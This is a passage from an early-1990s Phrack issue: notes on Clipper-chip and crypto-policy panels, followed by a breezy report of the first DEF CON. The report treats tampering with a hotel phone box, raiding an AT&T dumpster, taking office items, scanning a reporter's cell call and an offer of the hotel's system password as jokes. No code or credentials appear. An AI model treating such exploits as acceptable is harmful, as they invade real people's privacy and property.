A. The project began during the Bush administration after AT&T introduced phones implementing DES, the Data Encryption Standard. Clinton looked at it early in his administration. NSA pushed the program, and the staff wanted to "do something". A worst‑case scenario about the introduction of Clipper is that it was leaked to the press, and the story about a study was cooked up to cover the leak. People might be surprised about how little expertise and thought about issues goes on. Policy makers operate under severe time constraints, handling the crisis of the moment. Most of them are reasonable people trying to do the best thing under the circumstances. If we push certain ideas long enough and hard enough we can affect the outcome.

Q. Following the _AMD v. Intel_ case, there's nothing stating you cannot clone the Clipper chips to circumvent the law enforcement field, correct?

A. It's difficult to say. The chips have not yet been delivered. There have been technical problems with the chip. At NIST hearing a couple weeks ago, Dorothy Denning revealed that she had reviewed the Skipjack algorithm alone because the other four cryptographers selected to review the algorithm were on vacation. There's a certain degree of cynicism because the government has said it will twist people's arms using its purchasing power and the threat of prosecution to establish Skipjack as a de facto standard. EFF is trying to get AT&T and Motorola to do something. Maybe the chip cannot easily be cloned. John Gilmore wants to see how easy it is to reverse engineer.

Q. What are specific steps that can be taken?

A. Send Email to the White House, and cc to EFF. Also, focus on the debate concerning ownership and leasing of the national information infrastructure. Southwestern Bell wants authority to own and lease the net and isn't quite sure whether government should be involved. This is the other longest‑running EFF policy concern: the owner of the electronic highways shouldn't be able to control content. Bandwidth should be provided based on the principles of common carriage and universal access. Construction of the NII should be done by the private sector because government doesn't have the resources available. We can't allow ourselves to be limited to upstream bandwidth. The net should retain those of its characteristics equivalent to BBS's.

Q. If NIST is to be an escrow agent, why are they not secure?

A. This is a source of moral outrage, but moral outrage only goes so far. We need to swallow our distaste for dealing with the government to compromise. It is worthwhile to get involved in the decision‑making _process_.

Q. What is the position of the ACLU and Republican think tanks on Clipper?

A. A lot of organizations have bumped into NII. ACLU is fighting the Clipper chip. For other organizations, it's not a top priority item.

Q. With regard to DES: Export restrictions apply to scramblers, but they are exported anyway. Why this policy of selective enforcement?

A. Don't look for consistency. SPA has recognized that there are 231 DESequivalent products. The genie is out of the bottle. DES source is widely available, but more so inside the US than outside.

Q. If the government has their way, what good products are out there for us?

A. The government can only have its way by mandating use of Skipjack. If it holds up, legally and politically, there _is_ no alternative. The government is saying that it is considering banning the use of crypto other than Skipjack, but has not yet adopted such a policy.

Q. If crypto is a munition, is it protected under the Second Amendment?

A. The Second Amendment probably doesn't affect the export question.

Q. Are there any legal weaknesses in the public key cryptography patents?

A. EFF has its hands full with other issues and hasn't really formulated an answer to this, but believes there's a fatal weakness as to all software patents. However, it would be prohibitively expensive to make such a case at this time.

Q. Do we need different copyright laws because of encryption?

A. Recognize that without changes in the copyright law, it will be difficult to get a true net economy going. Producers want a way to make money from the net. Consumers want the equivalent of home taping. It's tough to cover all the bases.

Q. How do law enforcement issues in civil cases relate?

A. This is an interesting point because the line between a commercial dispute and a criminal act are fuzzy. There are dangers in obtaining a wiretap. The law enforcement community shouldn't have a case to tap a line in the event of a two‑party dispute. There is a danger of misuse for traffic analysis of calls.

Q. ECPA could have been used to regulate access to the airwaves. Has it been tested against the First Amendment?

A. This demonstrates that technological security measures, rather than merely laws, are needed. People have listened to cell phone calls with scanners, and they made scanners illegal to manufacture, but cell phones can be modified to act as scanners. Experimentation of privacy with encryption shifts the balance. RSA is available outside the US. RICO is being overused.

PANEL #2: INDUSTRIAL AND LEGAL ISSUES

Dyson ‑ Beyond commercial people being citizens, there are three big issues:

1. Protection of trade secrets

2. Intellectual property protection for net businesses and database information

3. Exporting encryption devices: US businesses like to do business overseas. It is cost ineffective to develop a US‑only standard. There is better encryption available in Russia and Bulgaria on BBS's.

Godwin ‑ Talking about law enforcement arguments government makes. There are general issues regarding computers, communication, and privacy greater than just Clipper.

‑‑ Godwin is the first person people talk to when they call EFF in trouble. In addition to giving a lot of general information regarding liability, he monitors the intake of cases for EFF. He talks at conventions about criminal and constitutional issues.

‑‑ This effort has produced at least one change already: law enforcement personnel are no longer completely incompetent and clueless about computers.

‑‑ the most interesting are issues dealing with hackers and crypto. FBI's involvement with digital telephony: they wanted to make it more wiretap friendly. They discovered it is worthless without a restriction on encryption, and Clipper was introduced a short time later.

Legal History

The right to communications privacy is a fairly new thing. The Supreme Court faced it in the 1928 _Olmstead_ case, and held that there was no Fourth Amendment interest to be protected at all because there was no physical intrusion on the property. The doctrine has bee reveisited a number of times since then.

‑‑ a suction cup mike next door to the defendant's apartment produced the same holding.

‑‑ In a later case of a "spike mike" penetrating the heating duct of the defendant's apartment, the Court held that the Fourth Amendment applied but did not extend general Fourth Amendment protection. Finally in the _Katz_ case in the late 60's the Court formulated its present doctrine in holding that the defendant has a reasonable expectation of privacy in a phone booth. The Court said that the Fourth Amendment protects people, not places. Justice Brandeis, in dissent, cited Olmstead, but also noted that "The right most prized by civilized men is the right to be let alone."

Arguments regularly advanced by law enforcement types in favor of Clipper:

1. Wiretapping has been essential in making many cases.

‑‑ this argument seems reasonable.

2. Even if they can't point to a case now, they are taking a proactive approach, trying to anticipate problems rather than reacting. ‑‑ Dorothy Denning was involved early on in framing the issues. Now she's in favor of the government line. Point is that an attitude of "us vs. them" is counterproductive.

3) There are nuclear terrorists out there

‑‑ this argument is the result of false reasoning. Like Pascal's wager, the price of guessing wrong is so high that the rational person chooses to be a believer, even where the probability is very low. ‑‑ the problem with it is that you can't live that way. There's not necessarily one single right answer. Also there is a substantial opportunity cost. Whenever you empower individual rights, there's a tradeoff against government efficiency. As an example, take the case of compelled confession. It would be very efficient for the government to be able to compel a confession, but the cost in individual rights is too high. There is no constitutional precedent on which to base the outlawing of encryption. The way it ought to be, the law enforcement types should have the right to try to intercept communications under certain circumstances, but they should have no guarantee of success.

4) Wiretapping has created an entitlement to have access to the communications: this argument is blatantly ridiculous.

Q & A

Q. Before the A‑bomb was built, proponents said that it would cost $1 million to build. The eventual cost was $1 billion. Congress asked what was the probability that it could work, and was told 1 in 10. Thus the nuclear terrorist argument works, right?

A. Terrorists won't use Clipper

Q. NSA has had scramblers working. Why does it hurt for us to have the devices?

A. We're not opening Pandora's Box. Encryption is already out there. They think the majority of communications are not encrypted now. Encryption will create a bottleneck, which will change the way law enforcement does its job.

Q. What about the Davis case in Oklahoma? If convicted is there any chance for parole?

A. Davis was a BBS owner prosecuted because he allegedly had obscene material on his board. I don't know about Oklahoma parole law.

Q. What is the current legal status of PGP?

A. That will be answered later.

Q. If "only outlaws will have crypto", how effectively can the clamp down?

A. It will probably be very easy for them to chill nonstandard crypto if ‑‑ they investigate for another crime and find it, or

‑‑ it may itself be probable cause for a search.

Q. Doesn't a lot of this boil down to "you wouldn't be encrypting if you had nothing to hide"?

A. There's not any probable cause for law enforcement taking that position. Business likes crypto. In a scenario where only certain types of crypto are allowed, there could presumably arise a presumption from nonstandard crypto. The more people who encrypt, the more will say it is all right.

Q. Do you get the sense that there is a political will to protect privacy in this country?

A. It is not clear that is the case. There is a real education hurdle to teach the importance of technology.

Q. The law enforcement aspect is not important to NSA, right?

A. The Russians and the Japanese have done more theoretical work. Read "The Puzzle Palace"

Q. Virtual communities and net businesses need crypto on all systems to validate digital signatures.

A. It is not required universally. It will become cheaper as digital signatures take off. The Clipper proposal does not address digital signatures. NIST is also talking to IRS about helping implement Clipper by extending the ability to file tax returns electronically to those using Clipper.

Q. What restrictions are there right now on the IMPORT of crypto?

A. None right now.

Q. Is law enforcement misuse of commercial information anticipated?

A. It is a wash. There are laws available to protect against such things, like the Electronic Funds Transfer laws, and also that the wiretap law requires eventual notification of the tap. That's why they have called for two escrow agents. The weakness is that people can be compromised. The answer to law enforcement is that you could have more than two escrow agents to make the bribe prohibitively expensive. Also the problem of human weakness is not unique to the Clipper chip or key escrow systems.

Q. There's no mapping between the chip and the phone, correct?

A. The only link is the word of the officer seeking a warrant. There is no provision right now for a database containing identities of all chips.

Q. Can the President or Congress outlaw encryption by Executive Order?

A. The president cannot by Executive Order. It's not clear whether Congress could constitutionally.

Q. What about steganography?

A. Steganography is defined as a message appearing to be unencrypted but containing a code. There's a constant competition between the law enforcement community and the criminal element to stay ahead on the technology.

Q. Are one time pads illegal, or covered by export regulations?

A. No. Few policymakers have ever heard of them.

Q. What's a vision of what we would like to see?

A. Try to give people a technological means to protect their own privacy. Freedom to exchange information. Communities conforming to a standard without oversight, so that we can export.

Godwin ‑ more mystical approach. In person, you can be sure of someone's identity. This creates intimacy. Technology has the potential to free intimacy from the accident of geography. With crypto, you know the identity of the other person, and that you're not being overheard.

Q. Who are the law enforcement people you've been dealing with? Do they represent the highest levels of their organizations?

A. (Godwin) I don't claim to know what NSA thinks. I have talked to FBI, state and local law enforcement authorities, and they all say the same things.

PANEL #3: CYPHERPUNKS

Barlow ‑ Doesn't have the I/O bandwidth to be a cypherpunk. Doesn't know how they do it. The net is the biggest technological development since fire. There's a very difficult choice to be made, and it may already be made: Either anything is visible to anyone who is curious, or nothing is visible. Barlow comes from a small town. He's not bothered by privacy invasions at that level. But there's a difference between locals and the possessors of a database.

The problem of giving up privacy (which without encryption will happen), is that it allows "them" to protect us from ourselves. Also, no matter how benevolent the current government may be, there will always be a corrupt one down the road. Hidden crypto economies could break most governments. It's not necessarily good to have no government either. What drives the cypherpunks is a law of nature: Anarchy is breaking out, and Barlow is one. However, the libertarian impulse begs a few questions about crypto: What are we trying to hide, from whom, and why? There are a lot of victimless crimes out there for which no one wants to take responsibility.

Barlow wants crypto to create trust in identity. The real cypherpunk question is: The war is over, and we have won. How do we make the transition of power graceful? Human nature is to acquire some power structure of some kind. It is critical to acquaint friends and those who could care less with crypto.

Gilmore ‑ There are too many laws, and they make the wrong things illegal; We need to explain. In the existing system, the natural outgrowth has been for cypherpunks to be labeled as "them". Gilmore's vision is unprecedented mobility by creating privacy and authenticity at a distance. Thus you don't have to live near work, or play near home. By focusing on conspirators, the law enforcement community loses the focus on business use. The formal topic of the panel is cypherpunks.

‑‑ Crypto is not all that hard. Denning's book shows how to implement DES and RSA.

‑‑ Cypherpunks push the limits ‑ taking cryptography from theory into the realm of the practical.

‑‑ Trying to put crypto in the hands of the people, so that the government cannot take it back. That's why PGP is freely distributed. ‑‑ Also working on anonymity and digital money schemes.

The areas the cypherpunk group has worked on are:

1) Anonymity ‑ anonymous Email. What is the impact on how we communicate? Most of the debate has been relatively uninformed. The Supreme Court thinks there is a right of anonymity. A Los Angeles law requiring that demonstrators who handed out flyers put their name and address on the flyers was overturned on the grounds that it chilled free speech. In other media, telephones are anonymous. There has been a big ruckus with Caller ID. The postal service does not enforce return address requirements. Telegrams and radio are similarly anonymous. 2) Privacy ‑ Have been implementing key exchange systems for PGP, experimenting with encrypted audio. Digital cash systems ‑ so many businesses would pop up on the net if it was possible to spend electronic money. There are people working on the legal aspects of it now. 3) Outreach ‑ a mailing list, contributing articles to Village Voice, Wired, Whole Earth News.

4) Government interaction ‑ Sent a list of questions regarding Clipper to NIST. Made several requests under the Freedom of Information Act. Someone searched the dumpsters at Mykotronx. In a recent FOIA request to an Assistant Secretary of Defense, we learned that the law enforcement and intelligence communities advocate making Clipper mandatory. There's a FOIA request in now on Clipper. FBI returned a clipping file, but says it will take 3 1/2 years to process and release all the documents requested.

5) Future projects ‑ Building encrypted phones using PGP. Real digital banking. Automating anonymity and making an easier to use interface for anonymized mail. Tightening security from machine to machine protocols ‑ Right now they transmit cleartext. At Gilmore's home machine at Cygnus recently, a hacker monitored a session remotely, then installed a daemon to monitor the first 200 bytes of ethernet traffic from each connection. The daemon was removed, and the problem fixed using kerberos.

Hughes ‑ Cypherpunks was created by Hughes and Tim May. It's surprising how much media attention we have gotten. They knew what they were doing was significant, but not that so many people thought so. They are now shooting a pilot for a TV show based on cypherpunks, and Hughes has held himself out as a media expert. Here are a few obvious things that nonetheless need to be stated:

1) In order to have a private key, you need to have your own CPU. To put your key online where someone else has physical access is dumb. Therefore, one of the consequences is that digital privacy is only for the rich.

2) Cypherpunks is not a "hacker privacy league", but rather seeks to ensure privacy for all. Crypto must be easy to use. It is just now feasible to have an anonymous remailer. The user interface _must_ be easy. The layperson's concept of security is that if the computer is not networked, it is secure. They don't see how much of a disadvantage it is not to be networked. Gibson calls non‑networked computers "dead silicon". Therefore, encryption needs to be transparent to the user. The cypherpunks mailing list reached critical mass about 2 months ago with enough people understanding the concepts to move forward. We're at a crossroads historically now.

3) If you're the only one using crypto, it must be you who sent the cryptographic message. Anonymity is a social construct, and it doesn't work unless many people do it. The government is good at suppressing small things, but bad at suppressing big things. Therefore the best course of action is to spread the word. In the end, most of us will be private or most will not. If encryption is available to you, use it.

In response to Dyson on the question of copyright: Copyright is dead, or at least moribund. It will not exist as we know it in 100 years. It is a means of using the government's power to suppress expression. You still will be able to sell the timeliness of information, indexing, delivery, etc.

Gilmore ‑ If we decide to be private, the only limit to secrecy is individual conscience.

Comments from the audience:

‑‑ As it becomes less possible to hold on to information, marketing shifts toward a relationship rather than a product.

‑‑ If we want to make encryption easy, put out a mailer which supports it. (Response: We're working on it)

Q & A

Q. Can public keys be made available through the Domain Name Servers?

A. PGP developers are working on it. Internet is an information motel. Data checks in, but it doesn't check out.

Q. Is it possible to keep secrets at all?

A. The larger an organization is, the tougher it is to keep a secret. Secrecy and digital signatures are not exactly related. One thing we may see if pointers to specific documents which contain self‑verifying information. These will change the balance of power.

Q. Can we sell strong crypto to Clinton as part of his national ID card for health care program?

A. There's a problem in dealing with the administration right now, because they are currently defending a position and it will be tough to change. A parallel development may make the difference. Congress is getting Email. Seven or eight congressmen have access. A push to implement crypto to determine who is from the districts represented should come soon. A lot of this type application is based on the blind signature work of David Chaum.

Q. What's the status with the legality of PGP vs. RSA?

A. It is unsettled. There are two issues: patent infringement and export. RIPEM uses RSAREF, which is a watered down version of RSA. They're working on PGP using RSAREF for noncommercial users.

Q. Compare the strength and security of PGP and RIPEM?

A. PGP uses a longer key. RIPEM uses DES, but will probably go to TripleDES.

Q. How are blind signatures used?

A. Voter cards, digital signatures, digital money. The government won't do it if they feel it's not in their best interest. Push it.

Q. Can NSA break DES & PGP?

A. Of course.

Q. How long must a key be to slow NSA down?

A. We estimate they can break one 512 bit RSA modulus per day.

Q. Is PGP illegal, and if so, how?

A. Patent infringement issue is whether PGP infringes RSA. If you use a product that infringes, you are civilly liable. If they were to enforce against a random user, worst case is that the user might be tied up in the courts for a while. Worse is copyright ‑ it is a felony to engage in software piracy, which means making over 10 copies with a value over $2500. This poses a potential problem for sysadmins, and now companies use the threat of criminal charges to force licensing. Kapor is willing to take the case of whether or not there could ever be a valid software patent to the Supreme Court. Godwin says prosecutors will use other laws: Wire fraud, conspiracy, RICO.

Hughes ‑ there should be a local cypherpunks chapter. It should meet on the second Saturday of the month. Hughes is pursuing the idea of teleconferencing.

Conference News Part II

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 7 of 27

Conference News

Part II

****************************************

xxxxxxxxxxxxxxxxxx xxx xx x xx DEF CON I, Las Vegas 1993 xxxxxxxXXXXxxxxxxxxxxxxx xx x x I'll attempt to give you guys xxxxxxXXXXXXxxxxx x x x the real deal on what happened. Since you xxxxxXXXXXXXXxxxxx xx x x most likely don't care about the whole xxxxXXXXXXXXXXxxx x xxxxxxxx x planning side of it I'll just talk about xxxXXXXXXXXXXXXxxxxxxxxxx x what happened of interest. xxXXXXXXXXXXXXXXxxxxxx xx x

xxxXXXXXXXXXXXXxxxxxxxx I showed up at the Sands Hotel later than xxxxXXXXXXXXXXxxxxxxxx x x xx I thought, thanks to a delay at the xxxxxXXXXXXXXxxxxxxx xxx xx x airport and a ride on the slowest hotel xxxxxxXXXXXXxxxxxxx x x x shuttle known to mankind. It had to stop xxxxxxxXXXXxxxxxxxxxxx xx x x at every other hotel before it made it to xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x mine. Oh well.

So I check in and go to check out the conference room, which happens to be right next to the conference planning room for the hotel. "Hmm, they will be gone for the weekend though, so we should be safe," I think as I wander into "The Burgundy Room" Sounds like a room in "Clue." Anyway there are like maybe six other people there. Dead Addict has been holding down the fort, and wanted to go get drinks so I set him free to frolic as I set up shop. I handed out tags to the people who had shown up and settled in for the duration.

Someone had brought a cd player, so I put on a tape and got the music going. Red Five was there sporting scanners and radio gear, this guy had wires sticking out all over the place. "Good thing they turned to phones off," I say looking around the room happy that I wouldn't be stuck with a $31,312 phone call to Eastern Europe. "Yeah, we already checked that one," said one of the "hammies" gesturing to the phone jack I had seen. I notice a large cable running from the jack to a larger junction box at about the same time their eyes light up with glee. "Get the handset!," one says as another advances on the box with a tool kit that appeared out of thin air. "I'll need the ohm meter and some clips." the box is dismantled, and three people swarm it in a line testing frenzy. "No good on one.. two.. three.. got tone on four!" Great, I think, I'm fucked! "hhmm.. seems to be just the hotel, can't get an outside line.."

This goes on for some time until I persuade them to stop fucking with the box and to do something else. They give up bored, and start exploring the rooms next to us finding a hallway that leads to a security camera monitoring the casino tables below. Some decide it's not cool to be recorded and return from there in a hurry, while others locate a travel agent's office and start grabbing a few things of no consequence. We grabbed two large easels holding large pads of paper for people to draw/write on.

About this time the lady in charge of convention planning calls me to her office. "We got a call from the communications room. They said things were lighting up on their board that aren't supposed to be lighting up from your conference room. They say if it doesn't stop that you'll be thrown out of the hotel." Zowie. "OK, I got them to stop. They were just trying out their computer on the phone line to see if they could place a call," (Yeah, right) "but I'm sure it won't happen again." The assistant in the office spoke up and said something like, "Well, if you can clear my credit card I'm sure we wouldn't mind!" To which the main lady, Moreen, said "Yeah, my name is Moreen Robinson, and my Social Security number is..." What did they think? "Yeah, I'll get my credit erasers on it right away!"??

Back at the room things started to pick up. People came in throughout the day, and the bar downstairs was having a $1 margarita special. Someone bought twenty drinks for everyone (All right!) and then we got a picture more of them. Metal Head went and got me a drink while he was out. Things were looking good through this buzz of mine. Judi Clark of the Bay Area CPSR showed up (one of the speakers) and was real cool. She was jonesing for an internet connection, but we couldn't line one up with a slip connection for her. She had brought some literature to distribute, too.

Around six or seven or so we had a pretty good crowd going, with more and more speakers showing up. Ray Kaplan (Kaplan and Associates) drove like a maniac out of Arizona, and Dr. Ludwig (Author of Little Black Book of Computer Viruses) drove up with Merc from Arizona also. It was about ten or so Friday night and people were getting to know each other. Some more radio guys showed up, including the Jackal, and they were in another corner speaking in some other language.. stuff I won't even try to reproduce here. It revolved around the best ways to pick up restricted channels and how not to be triangulated. Cool.

Speculation was rising about what Gail Thackery would be like, and when Gillian from New Media Magazine showed up to cover the event people figured that she must be Gail. Nope. Gail showed up about a half hour later. Conversation in the room stopped, and all eyes were on Gail. She didn't seem to notice, and came up and said hello. I gave her a speakers id pass, and she went off to find a drink. When she returned people started to talk to her, and by about midnight she was mobbed with people. She had a captive audience at the back of the room and was fielding all types of questions. Some guy was saying "Say, hypothetically, that you have 9 gigs all encrypted on your, re, a bbs and you get raided, wow will they get the evidence?" Gail's response was basically if they have enough evidence to boot in your door they should have enough evidence to prosecute a case. Want to be a test case for encryption? Neither did he.

Kurt Karnow, the VR speaker from San Francisco showed up and was talking with the New Media Reporter. Some local radio d.j. who does a late night cutting edge style showed up to grab some audio clips from me and bailed out. A "suit" showed up, and everyone immediately, in an attempt to win the free "I spotted the fed" shirt pointed him out to me. This "suit" had cop eyes, cop walk and cop speak. He was all businesslike, and wanted to talk to me in private. I took him into the "cone‑o‑silence" room (the hallway connected to the travel agent's place) and asked what's up. Turns out he is a writer for Loompanics and was there checking to see if there was anything or anyone worth writing about or having write for him. Everyone was sure I was a super narc after coming out of the cone, but he started loosening up and was talking with everyone by the next day. If he was a fed, they have great feds out there that are almost undetectable. He said his cop speak is a great way to get people to tell him stuff they wouldn't normally say.

Dan Farmer showed up with a female harem in tow. He seemed to have this ability to magically attract females, but we won't get into that here. He would make an appearance and then leave every once in a while. His women looked bored (there were three of them) so I assume he was keeping them entertained by gambling or something...

Dark Druid showed up with Richard Finch, an author who is writing a book entitled "The underground road map through cyberspace" Oh, yeah. This guy still owes me a copy of the video tapes from the convention. Basically a snake. Said he would send me a copy of them, and then moved and changed his number. We located him and he said he would send them again. Not. L00zer. Dark Druid was cool, though, and was franticly looking for alcohol to comfort him after the long drive.

One person I met worked for Logicon, SOF Weapon Systems, doing "Nuclear event testing." Basically his job is to see if he can break in and cause a simulated "event" (missile launch, detonation, etc.) to happen. I'll invite this guy to speak at DEF CON ][ for sure. Not that people are going to hack silos, but it was very interesting to say the least.

It was decided it was time for a "Death Star" raid (we had spotted the local AT&T office with a billion repeaters and microwave shit on the roof) and rounded up a crew to go attack it. Of course Red Five was standing by (Ow!) and Gillian offered to rent a limo to go trashing in. It turned out that it would take 1/2 hour to get the limo, so we went in two cars instead. After getting lost in the Las Vegas Hell we found the target. Fences everywhere, a guard patrolling, and an unprotected dumpster just by the fences. Red Five radioed to his friend, we coordinated an attack plan. I laid down flat in the back of the truck, another car was "blocker" on the street. We turned in, screeched up to the treasure chest, I bailed out and hurled the bags into the truck and pounced on top of them to the papers wouldn't fly out as we hauled ass outta there. Those Vegas telco employees eat more dino‑sized McMeals and burgers than I can count. My body was almost covered in apple pie containers and happy meals, yuck. We hauled the find up to the room, and the people who were still up dived on it. Jamin the Shamin went bonkers rooting through crap, and I think White Ninja was sportin' wood. People got some interesting items (catalogues, some x.25 phone numbers, etc..) while I got to clean up the mess, er, wreckage in the room. Everyone pitched in and by two thirty a.m. it was time to snooze. Everyone took off to wherever they were going, and a few people stuck around to crash in the conference room.

It seems over the night that the late shift of security personnel were not informed that I had the conference room 24 hours. They showed up at around four a.m. and saw Code Ripper, The Prophet and Merc crashed out and they went nuts. At first they asked them to leave to room. The Prophet explained that the room was rented 24 hours, and they didn't care. He then asked to talk to the assistant manager. They didn't like this and called in the goons. Like five or more guards showed up. In Las Vegas the goons carry guns. These guys asked to have 'em leave and Code Ripper and Merc were like "Sure, no prob. Later!" The Prophet continued to bitch and got a personal interview with head guard man and then a personal boot off the hotel's property.

Saturday morning I get a fax that Allen Grogan (Editor of the Computer Lawyer) won't be able to make it because of a family emergency. That's one less speaker. Already Count Zero's dad went ballistic when he found out his son might speak at the con. He threatened to sue me if he showed up. Dude, chill, it's your son, not mine. It turns out he called the Sands Hotel ranting and raving at anyone he could. Moreen said, "he was spouting off things about law suits and some such, so I transferred him to legal." What a kook. Midnight Sorrow (used to run CCi) backed out too after his phone bills reached like half of the national debt. ErikB spent too much money at SCon and he bailed out also. They were dropping like flies! Scott Simpson wasn't about to show up after his door was kicked in with the help of various federal agencies, either. Oh well, we still had a full speaking list.

Robert X. Cringly from Info World was there, a photographer from Mac World, John Littman, Unix World (<‑ an evil review.. don't believe it.. it was all wrong and jumbled. Rik Farrow messed it up) another photographer who took the picture that ended up in New Media was there. The photographer (Who turned out to be Karnow's sister) gathered some "cyberpunk" looking people together for it.. needless to say I wasn't in it. She bought a bunch of alcohol for everyone, so that wasn't so bad.

I did a little blurb welcoming everyone and talking about my run in at the Seattle 2600 meeting a few weeks before, and then let Ray K. start off the convention. About halfway through the talks before lunch, the X. Cringe factor got a cellular phone call, and got up to leave the room so as not to disturb the audience. He was about halfway towards the door when you could hear scanners turning on all over the room (well, OK, three of them) and a coordinated effort was put forth to find his call. Some start at the low frequencies and worked up, and some at the high frequencies and worked down. It turns out it was only Pammy, and no super secret industry gossip. Bummer.

I'm not going to cover exactly what the speakers had to say because I wouldn't know what to include and what not too. Get the tapes, or ftp the huge digitized speeches off the ftp site (cyberspace.com /pub/defcon) and listen to 'em. We tried to make typed transcripts, but they were a nightmare, so we gave up on it. This is basically what was covered:

Ray Kaplan did a verbal sample of the attendees, and then went on to talk about morality and the hacking ethic. He came across pro‑responsible‑hacker, but managed to get into a debate with Torquamada who though he was preaching too much. A good exchange, and his talk reminded me of some of the stuff you hear on IRC late at night when #hack becomes #hack‑politics, only better.

Gail Thackery spoke about where the law is coming from in all this, and was very straight forward with a no shit attitude. She said she loved capturing and collecting all the log in screens of bbs systems that have lame disclaimers like "If you are a fed you can't log on here. If you press 'y' you can never narc on me." She swaps 'em with her other law enforcement friends. As a side note we were selling hack pads and bbs pads that attempted to organize all the notes people make in the course of things. It seems every one who gets nabbed gets nabbed with their "bust‑me book" You know, that note pad with all the incriminating evidence on it that everyone keeps. Well we figured we'd at least make things easier so we had these pads. Gail looked them over and made a comment like, "Oh, those look just like ours except we have a space for the case number in the upper right hand corner."

Judy Clark from the CPSR spoke about the role of the CPSR (Computer Professionals for Social Responsibility) as opposed to that of the EFF which is almost entirely, well, er, it is, sponsored by large corporations including computer and telephone interests. She spoke about privacy issues and what to do if you are interested in getting involved.

There was a panel discussion with Gail and Ray K fielding questions from the audience. Ray talked about how security is useless unless the employers and employees are willing to change their way of working. It's not as simple as installing the latest and greatest security packages.

Kurt Karnow works as an attorney for a San Fransisco law firm that represents large companies such as AT&T and Sega. He spoke about "ZUI" or Zero User Interface as envisioned in the future with VR equipment. He talked about how impossible it is to debug any large program 100%, and that mistakes and problems will occur. He talked of a recent case he worked on, where the makers of "Sim City" made "Sim Oil Refinery" for a large oil company. The company was concerned that if their software was programmed incorrectly, and they find that out by having a refinery explode when the employees did something they were trained to do, that they could loose all. Kurt was also great is shamelessly hoping some for a few good accidents so he could finance his kids through college. A very well informed and easy to talk to person.

Dr. Mark Ludwig Spoke about the philosophy behind his virii programming analysis. It was almost a political talk about the invasive government policies and the desire of the Federal System to be the know all and be all in the future. He spoke about their attempts to restrict encryption technologies. He announced that he has come up with a virus that acts as a software delivery service for the IDEA encryption algorithm. When you insert this disk, or get the "infection" it asks if you want to encrypt your fixed disk, and then asks for your password. Any floppy that is inserted on your system gets encrypted and infected with the password of your choice. You can toggle the encryption on and off, un‑install your hard drive, etc. He posed the question to the crowd, "What if everyone woke up one day and all their data was safely encrypted? If encryption became the standard, people would have less to fear from Big Brother." I've got the virus, called the KOH virus, currently being updated, and will bring it to Pump Con ][, Ho Ho, Etc. for anyone interested.

Dead Addict spoke on the past and the future as he sees it of the Computer Underground's various factions. The increase of people on the net and the use of more and more networks will yield rich lands to be explored. It turned into a question and answer with people discussing their view on where things are going.

Dan Farmer spoke on Unix security. He was very good and sounded very well informed. He has learned his tricks monitoring the 30,000 or so workstations used by Sun Microsystem and else where over the years. He talked about how people get caught and what to do about it. How sysadmins usually monitor and maintain their systems. Basically he was bored with password crackers and lame passwords. He focused on the creative ways to get root. "If you can gain access enough to execute one command on the victim computer, you should be able to get root." He avoided bugs and problems that will be fixed, and focused on flaws in the way systems and networks are set up.

Dark Druid talked about his bust and how it sucks not to be charged and still not have his equipment back after it was seized.

Right as the group was breaking up someone did a quick impromptu demonstration to a few people of a laptop plugged into the diagnostic port of a cell phone that allowed all types of crazy activity. People broke into groups and went out for dinner. I ended up with Gail Thackery, Gillian the reporter, Kurt Karnow, the sysadmin of cyberspace and a few others. General B.S. about government plots and assassinations ensued with real discussions branching off. Because there are no clocks anywhere in Las Vegas we kinda lost track of time, and wandered back to the hotel in an hour or so. People changed and the broke off to do their thing.

I ran into a guy from SGI security at the bar, and then Dan Farmer, and then Aleph One, and then fuck, it seemed like a mini con at the bar. People were drinking like fiends, and Gail showed up with Gillian and the crowd from L.A. and the San Francisco 2600 group was there drinking too. Gail was chain smoking and pounding Johnny Walker straight, drinking most of us under the table. I think that shocked more people more than anything else! We finally got a thinly clad waitress to take a group picture, where everyone is all smiles and laughing, and Gail has this evil frown looking like this is the last place on earth she wants to be. Right as the pic is taken someone goes to fake pour a drink on her head, making for a great picture WHICH I STILL DON'T HAVE! (Aleph One, send me that digitized picture so I can stick it on the ftp site)

Sunday people just hung out to bull‑shit about whatever, with groups forming on and off till everyone took off for home. Someone approached me and let me know that they had the password for the Sands Hotel Vax system and the barrier code for their PBX. "If the hotel gave you too much trouble, just let me know." You would think that after years of mob and crime action the casino would have a functional security set up. Not. That was area code 702 for anyone interested in scanning it.

A few of use were sitting around waiting for time to pass when I found a bunch of wires wrapped together from the death star raid Friday night. It sort of looked like a mini whip, and was immediately termed the "Def Con Cyber‑Whip" Needless to say, we had to present the Cyber‑Whip to Dan Farmer for his excellent contribution mention of a.s.b. during his speech that seemed to cause the most gossip. Hacking a network? No problem. Talking about a.s.b.? OuTrAgEoUs! People are so funny. Anyway, Dan is now the keeper of the Cyber‑Whip. We'll try to come up with a more formal presentation next year. That should drive the media nuts. Hey, with a little help from ErikB for video entertainment maybe create a Def Con dungeon. Ha! Ok, it's late. Hackers are such sick people.

A lot of people made great contacts and I'm still hearing of people who are working with their new contacts doing "things" I managed to weasel a job out of the deal, writing a small monthly column in New Media Magazine (as my editor puts it) on "Interesting things that could only happen on the net." This gets translated to reading a bunch of newsgroups in a futile attempt to find something that would be amusing to the readership. If you guys have any good rumors you want mentioned, just feed 'em to me in e‑mail.

Overall a good time. We planned for about 100 people max, and we got just around 110 or so. Our blurb in 2600 came out late, Mondo 2000 missed an issue and Wired messed up hard core twice. I had mailed LR inviting someone to attend and asking if we could get a mention in the upcoming events section. He said sure, just e‑mail me. I did that and nothing happened. I talked to him, and he said I should send it to someone else at Wired, which I did. It wasn't in the next issue either! Right before the con I got e‑mail form someone at Wired asking me if the convention was still on and what its status was. They are nice people there, just a little bit confused or busy. This was happening right after wired.com got hacked so they might have been preoccupied. This year we won't miss any deadlines and make sure that the word gets spread well in advance so we can get a greater turn out, but for a first attempt it went over well. No fights, fire alarms pulled or people vomiting on the gamblers. The things that could be improved like more technical speeches, etc., will all be fixed in DEF CON ][. We'll have midnight tech talks, terminals hooked up to the net for people to IRC on or whatever, and additional speeches on Sunday so people have an excuse to stick around that day.

[Generic closing statement omitted]

The Dark Tangent

dtangent@defcon.org

****************************************

Top 23(!) things learned at DEF CON 1 By The White Ninja

"Jesus Hacks! Why don't YOU?"

This text file idea blatantly leeched from:

SummerCon!

1. Casino offices can be full of fun!!

2. Casinos generally don't appreciate it when you explore their offices....

3. Yes, some people ARE capable of gambling away $167 in an hour!

